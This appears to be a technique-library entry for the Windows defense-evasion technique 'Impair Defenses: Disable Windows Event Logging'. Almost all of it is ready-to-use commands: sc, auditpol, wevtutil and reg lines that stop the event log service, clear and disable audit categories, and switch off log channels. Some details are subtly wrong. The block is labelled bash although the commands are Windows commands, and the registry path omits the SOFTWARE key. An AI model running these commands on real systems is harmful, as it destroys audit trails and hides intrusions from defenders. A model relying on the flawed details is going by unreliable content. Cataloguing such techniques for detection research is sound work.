Windows bash / Impair Defenses: Disable Windows Event Logging

Author 0x0d4y
Platform Windows
Language bash
Technique Impair Defenses: Disable Windows Event Logging

Code

# Disable Windows Event Log through service
sc config eventlog start=disabled
# Disable each Windows Event Log Category through auditpool
auditpol /set /category:"Account Logon" /success:disable /failure:disable
auditpol /set /category:"Detailed Tracking" /success:disable /failure:disable
# Clear and Disable all Categories
auditpol /clear /y
auditpol /remove /allusers
# Disable Windows Event Log Category through wevtutil
wevtutil sl Security /e:false
# Disable Windows Event Log thourgh Regitry Log Channels
reg add "HKEY_LOCAL_MACHINE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\<anychannel>" /v Enabled /t REG_DWORD /d 0 /f

Created

August 17, 2024

Last Revised

August 17, 2024